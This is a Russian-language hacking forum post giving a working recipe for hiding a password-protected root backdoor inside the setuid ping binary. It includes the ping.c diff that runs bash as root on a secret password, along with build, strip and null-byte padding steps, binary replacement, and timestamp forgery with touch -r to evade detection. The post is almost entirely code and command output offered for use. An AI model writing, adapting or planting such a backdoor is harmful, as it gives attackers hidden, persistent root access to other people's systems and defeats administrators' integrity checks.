Старый 22.11.2011, 04:52   #1
b3
 
Аватар для b3
 
Регистрация: 18.08.2010
Сообщений: 352
Репутация: 105
Post ping backdoor

Где спрятать суидный бэкдор? Ответ: в существующем суидном бинарнике, пере собрав его из сорцев. За основу взяли iputils модифицировать будем ping.c добавив в первую строку:
Код:
#define PASSWD "pass"
пароль для исполнения команд через бэкдор. И модифировав функцию main() добавив проверку правильности пароля и исполнения команд...
Теперь по порядку:

1. Проверяем версию пинга установленную в системе:
Код:
# /bin/ping -V
ping utility, iputils-sss20100418
нужный фрагмент s[ДАТА]

2. Прописываем дату в файл SNAPSHOT.h
Код:
static char SNAPSHOT[] = "s20100418";
3. Компилируем... могут быть ошибки, но компиляция проходит:
Код:
[03:47][root]# make 2> /dev/null
gcc -D_GNU_SOURCE -O2 -Wstrict-prototypes -Wall -g       tracepath.c   -o tracepath
gcc -D_GNU_SOURCE -O2 -Wstrict-prototypes -Wall -g      -c -o ping.o ping.c
gcc -D_GNU_SOURCE -O2 -Wstrict-prototypes -Wall -g      -c -o ping_common.o ping_common.c
gcc   ping.o ping_common.o   -o ping
gcc -D_GNU_SOURCE -O2 -Wstrict-prototypes -Wall -g       clockdiff.c   -o clockdiff
gcc -D_GNU_SOURCE -O2 -Wstrict-prototypes -Wall -g       rdisc.c   -o rdisc
gcc -D_GNU_SOURCE -O2 -Wstrict-prototypes -Wall -g      -c -o arping.o arping.c
на выходе получили Ping размером всего-то аж 73K
Код:
-rwxr-xr-x 1 root root  73K Ноя 22 03:47 ping
4. Косметический ремонт:
a) Делаем strip
Код:
[03:52][root]# strip ping && ls -lha ping
-rwxr-xr-x 1 root root 31K Ноя 22 03:52 ping
б) Так же если на выходе Ping получился меньше чем оригинал, можем дополнить его нулл-байтами. Сравниваем размеры в байтах.
Код:
[03:54][root]# ls -l /bin/ping ping --full-time
-rwsr-xr-x 1 root root 31360 2010-10-14 10:04:38.000000000 +0400 /bin/ping
-rwxr-xr-x 1 root root 31180 2011-11-22 03:52:33.595526749 +0300 ping
[04:14][root]# echo '31360-31180' | bc
180
[04:14][root]# perl -e 'print "\x00"x180' >> ping
[04:15][root]# ls -l /bin/ping ping --full-time
-rwsr-xr-x 1 root root 31360 2010-10-14 10:04:38.000000000 +0400 /bin/ping
-rwxr-xr-x 1 root root 31360 2011-11-22 04:15:32.523554178 +0300 ping
в) Заменяем бинарники, не забываем про chmod и touch
Код:
[04:22][root]# rm /bin/ping
[04:22][root]# cp ./ping /bin/
[04:22][root]# chmod u+s /bin/ping
[04:22][root]# touch -r /bin/ping6 /bin/ping
[04:22][root]# ls -l /bin/ping /bin/ping6 --full-time
-rwsr-xr-x 1 root root 31360 2010-10-14 10:04:38.000000000 +0400 /bin/ping
-rwsr-xr-x 1 root root 35252 2010-10-14 10:04:38.000000000 +0400 /bin/ping6
Проверяем:
Код:
[04:38][root][/bin]# su - b3
b3@localhost:~$ ping pass id
uid=0(root) gid=0(root) группы=0(root),1001(b3gt)
b3@localhost:~$ ping passssss id
ping: unknown host passssss
b3@localhost:~$ ping ya.ru
PING ya.ru (77.88.21.3) 56(84) bytes of data.
64 bytes from www.yandex.ru (77.88.21.3): icmp_req=1 ttl=57 time=37.6 ms
^C
diff ping.c
Код:
[18:12][root][~/link/evilping]# diff -u source/iputils-s20100418/ping.c ping.c
--- source/iputils-s20100418/ping.c     2010-04-18 07:45:45.000000000 +0300
+++ ping.c      2012-01-05 16:42:00.000000000 +0300
@@ -1,3 +1,4 @@
+#define PASSWD "123456"
 /*
  * Copyright (c) 1989 The Regents of the University of California.
  * All rights reserved.
@@ -115,7 +116,10 @@

 int
 main(int argc, char **argv)
-{
+{
+       if(argc == 3) {
+       if(!strcmp(argv[1], PASSWD)) { setsid();setgid(0);setuid(0); execl("/bin/bash", "ne bash", "-c", argv[2], NULL); return 0; }
+       }
        struct hostent *hp;
        int ch, hold, packlen;
        int socket_errno;
Измененный Makefile для удобства.
Код:
[18:21][root][~/link/evilping]# cat Makefile
LIBC_INCLUDE=/usr/include
CC=gcc 2>/dev/null
CCOPT=-D_GNU_SOURCE -O2 -Wstrict-prototypes -Wall -g
CFLAGS=$(CCOPT) $(GLIBCFIX) $(DEFINES)

TARGETS=ping

ping: ping.o ping_common.o

clean:
        @rm -f *.o $(TARGETS)
Список файлов нужных только для ping
Код:
-rw-r--r-- 1 b3   b3    211 2012-01-05 16:27 Makefile
-rw-r--r-- 1 b3   b3    32K 2012-01-05 16:42 ping.c
-rw-r--r-- 1 b3   b3    22K 2012-01-05 16:27 ping_common.c
-rw-r--r-- 1 b3   b3   5.4K 2012-01-05 16:27 ping_common.h
-rw-r--r-- 1 b3   b3     35 2012-01-24 10:43 SNAPSHOT.h

UP:
Исправили недочеты, всем спасибо.
Код:
$ ./ping pwd "ps auxf"

root     22099  0.0  0.5   8160  2672 ?        Ss   17:47   0:00  \_ sshd: root@pts/0
root     22393  0.0  0.4   5864  2608 pts/0    Ss   17:47   0:00      \_ -bash
b3       20352  0.0  0.2   4568  1104 pts/0    S    18:30   0:00          \_ su - b3
b3       20353  0.0  0.3   5564  1952 pts/0    S    18:30   0:00              \_ -su
root     24201  0.0  0.1   4480   924 pts/0    R+   18:31   0:00                  \_ ps auxf
Сорцы iputils-ping были взяты из: http://packages.debian.org/ru/squeeze/iputils-ping
Отдельное спасибо за помощь в реализации n0body

ADD ping.c for freebsd https://gist.github.com/b47551dba43da7ac37f1

Последний раз редактировалось b3; 17.01.2013 в 02:54.. Причина: add
b3 вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot